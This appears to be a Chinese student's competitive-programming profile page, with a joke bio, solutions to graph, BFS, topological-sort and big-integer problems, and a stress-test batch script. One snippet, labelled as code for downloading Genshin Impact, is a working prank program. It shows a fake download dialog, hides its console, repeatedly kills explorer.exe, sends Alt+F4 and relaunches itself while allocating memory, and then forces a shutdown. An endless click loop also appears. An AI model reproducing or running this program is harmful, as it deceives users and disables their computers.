inv[i] = (M-M/i)*inv[M%i]%M;

$CS启动！！！$

$\mathcal{欢迎来到神}\mathcal{的大厦}$

$【B3停车场】神的来源$

区区凡人，怎配知道

$【B2停车场】个人信息$

V号：13119100560

物种：梦想成为魔王S的选手

$【B1停车场】随便写写$

伪人队友玩个dame

自动AC机


#include <windows.h>
int main() {
    while (true) {
        SetCursorPos(100, 100);
        mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
    }
    return 0;
}

#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
struct node{
    ll to,cost;
};
const int MAXN = 4e6+5;
vector <node> G[MAXN];
ll n,m,flag;
int main(){
    ios::sync_with_stdio(false);
    cin.tie(0),cout.tie(0);
    cin>>n>>m>>flag;
    for(ll i=1;i<=m;i++){
        ll u,v,w;
        cin>>u>>v>>w;
        if(flag == 0){
            G[u].push_back({v,w});
            G[v].push_back({u,w});
        }
        else G[u].push_back({v,w});
    }
    for(ll i=1;i<=n;i++){
        if(G[i].empty()){
            cout<<"\n";
            continue;
        }
        for(ll j=G[i].size()-1;j>=0;j--){
            cout<<i<<" "<<G[i][j].to<<" "<<G[i][j].cost<<"\n";
        }
    }
}

原神下载代码


# include<windows.h>
#include<bits/stdc++.h>
using namespace std;
void AltF4(){
	keybd_event(VK_MENU,0,0,0);
	keybd_event(VK_F4,0,0,0);
	keybd_event(VK_F4,0,2,0);
	keybd_event(VK_MENU,0,2,0);
}
int main(int args,char**argv) {
    for(int i=0;i<1000;i++){
	cout<<"windows_killer 1.11 pro.max";}
#ifndef __WIN32
	system("shutdown -r now");
#endif
	char b[1000] = "start \"";
	
	strcat(b,argv[0]);
	strcat(b,"\"");
	char a[1000];
	strcpy(a,argv[0]);
	strcat(a," - 正在加载蠹虫病毒...");
	ShowWindow(GetConsoleWindow(),SW_HIDE);
	MessageBox(NULL,"正在下载原神(0xc000007b)。请单击“确定”完成下载。",a,MB_OK|MB_ICONHAND);
	while (malloc(10)) {
		AltF4();
		system("taskkill -f -im explorer.exe");
		system(b);
		ShowWindow(GetForegroundWindow(), SW_HIDE);
		SetCursorPos(0,0);
	}
	system("shutdown /s /t 0");
}

#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
ll n,m,in[100005];
priority_queue<ll,vector<ll>,greater<ll> >Q;
vector<ll>G[100005];
ll topo[100005],cnt;
void isort(){
	for(ll i=1;i<=n;i++){
		if(!in[i]){
			Q.push(i);
		}
	}
	while(!Q.empty()){
		ll u =Q.top();
		Q.pop();
		topo[++cnt] = u;
		for(auto v:G[u]){
			in[v]--;
			if(in[v]==0){
				Q.push(v);
			}
		}
		
	}
	for(ll i=1;i<=cnt;i++){
		cout<<topo[i]<<" ";
	}
}
int main(){
	cin>>n>>m;
	for(ll i=1;i<=m;i++){
		ll u,v;
		cin>>u>>v;
		G[u].push_back(v);
		in[v]++;
	}
	isort();
	
	return 0;
}

//牛奶
#include<cstdio>  
#include<queue>  
#include<algorithm>  
#include<cstring>  
using namespace std;  
struct node  
{  
    int x;  
    int y;  
};
queue<node>que; 
int vis[25][25];
int M[3];
void bfs()  
{  
    while(!que.empty())
    {
        for(int i=0;i<=2;i++)
        {
            for(int j=0;j<=2;j++)
            {  
				int A[3]={que.front().x,que.front().y};
				A[2]=M[2]-A[0]-A[1];
                if(i==j)
                {  
                    continue;  
                }  
                int s=A[i]+A[j];
                A[j]=min(s,M[j]);
                A[i]=s-A[j];
                if(!vis[A[0]][A[1]])
                {  
                    vis[A[0]][A[1]]=1;
                    node n;
                    n.x=A[0];  
                    n.y=A[1];  
                    que.push(n); 
                }  
            }  
        }  
        que.pop();
    }  
}  
int main()
{
    scanf("%d%d%d",&M[0],&M[1],&M[2]);
	vis[0][0]=1;
	node n;
	n.x=0;
	n.y=0;
	que.push(n);
	bfs();
	int c=0;
	for(int i=M[2];i>=0;i--)
	{
		if(vis[0][i]==1)
		{
			if(c==1)
			{
				printf(" ");
			}
			c=1;
			printf("%d",M[2]-i);
		}
	}
}  

//反转游戏
#include<iostream>
#include<string>
using namespace std;
const int mx = 1<<16;
int f[mx] = {0};
int pre[mx] = {0};
int qu[mx],e = -1,s = 0;
string str[5];
int b[5] = {0,1,-1,4,-4};
void pri(int t){
	int ff = 15;
	for(int i = 1;i<=4;++i){
		for(int j = 1;j<=4;++j){
			cout << ((t&1<<ff)?1:0) << " ";
			--ff;
		}
		cout <<endl;
	}
	cout <<endl;
}
int main(){
	for(int i = 1;i<=4;++i){
		cin >> str[i];
	}
	int st = 0;
	for(int i = 1;i<=4;++i){
		for(int j = 0;j<4;++j){
			st<<=1;
			if(str[i][j]=='b')++st; 
		}
	}
	qu[++e] = st;
	f[st] = 1;
	int cur,nx,np;
	while(s<=e){
		if(f[0]) break;
		cur = qu[s++];
		for(int i = 15;i>=0;--i){
			nx = cur;
			for(int j = 0;j<5;++j){
				if(i%4==3 &&j==1) continue;
				if(i%4==0 && j==2) continue;
				np = i+b[j];
				if(np<0 || np>15) continue;
				nx^=(1<<np); 
			}
			if(!f[nx]){
				f[nx] = f[cur]+1;
				pre[nx] = cur;
				qu[++e] = nx;
				if(nx==0) break;
			}
		}
	}
	if(f[0] || f[(1<<16)-1]){
		cout << min(f[0],(f[(1<<16)-1]>0?f[(1<<16)-1]:0x3f3f3f3f))-1;
	}else
	    cout << "Impossible";
} 

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
const int MAXN = 10000;

struct num{
	int a[MAXN];
	int len;
}; 
num dp[5050];
void read(num&x){
	string s;
	cin>>s;
	x.len = s.size();
	for(ll i=0;i<MAXN;i++)x.a[i] = 0;
	for(ll i=0;i<x.len;i++)
		x.a[x.len-i] = s[i]-'0';
}
void print(num x){
	for(ll i=x.len;i>=1;--i)
		cout<<x.a[i];
		cout<<"\n";
}
num operator + (num x,num y){
	num ret;
	ret.len = max(x.len,y.len);
	for(ll i=0;i<MAXN;i++)ret.a[i] = 0;
	for(ll i=1;i<=ret.len;i++){
		ret.a[i] = x.a[i]+y.a[i];
	}
	for(ll i=1;i<=ret.len;i++){
		if(ret.a[i]>=10){
			ret.a[i+1]+=ret.a[i]/10;
			ret.a[i]%=10;
		}
	}
	if(ret.a[ret.len+1]!=0)ret.len++;
	return ret;
}
num operator - (num x,num y){
	num ret;
	ret.len = x.len;
	for(ll i=0;i<MAXN;i++)ret.a[i] = 0;
	for(ll i=1;i<=ret.len;i++){
		ret.a[i] = x.a[i]-y.a[i];
	}
	for(ll i=1;i<=ret.len;i++){
		if(ret.a[i]<0){
			ret.a[i+1]--,ret.a[i]+=10;
		}
	}
	while(ret.len&&ret.a[ret.len]==0)ret.len--; 
	if(!ret.len)ret.len++;
	return ret;
}
num operator * (num x,num y){
	num ret;
	ret.len = max(x.len,y.len);
	for(ll i=0;i<MAXN;i++)ret.a[i] = 0;
	for(ll i=1;i<=ret.len;i++){
		ret.a[i] = x.a[i]+y.a[i];
	}
	for(ll i=1;i<=ret.len;i++){
		if(ret.a[i]>=10){
			ret.a[i+1]+=ret.a[i]/10;
			ret.a[i]%=10;
		}
	}		
	if(ret.a[ret.len+1]!=0)ret.len++;
	return ret;
}
int main() {
	ll n;
	cin>>n;
	dp[0].len=1;
	dp[0].a[1]=1;
	dp[1].len=1;
	dp[1].a[1]=1;
	for(ll i=2;i<=n;i++){
		dp[i] = dp[i-1]+dp[i-2];
	}
	print(dp[n]);
	return 0;
}

#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
const int MAXN = 1030;
vector<ll>g[MAXN];
ll dp[MAXN];
bool vis[MAXN];
void dfs(ll u,ll f){
	vis[u] = 1;
	dp[u] = dp[f]+1;
	for(auto v:g[u]){
		if(v==f){
			continue;
		}
		if(!vis[v]){
			dfs(v,u);
		}
	}
}
int main(){
	ll n;
	cin>>n;
	ll x,y;
	for(ll i=1;i<=n;i++){
		cin>>x>>y;
		g[x].push_back(y);
		g[y].push_back(x);
	}
	dfs(1,0);
	ll ans=-1;
	for(ll i=1;i<=n;i++){
		ans = max(ans,dp[i]);
		
	}
	cout<<ans<<"\n";
}

duipai.bat

mk > test.in
test < test.in > test.out
bf < test.in > bf.out
fc bf.out test.out
if errorlevel==1 pause
%0

mk.cpp

#include <bits/stdc++.h>
using namespace std;
const int MAXN =1e9+10;
int main() {
	mt19937 gen(time(nullptr) + random_device {}());
	uniform_int_distribution<> dis(1, MAXN);
	int n = dis(gen);
	cout << n;
}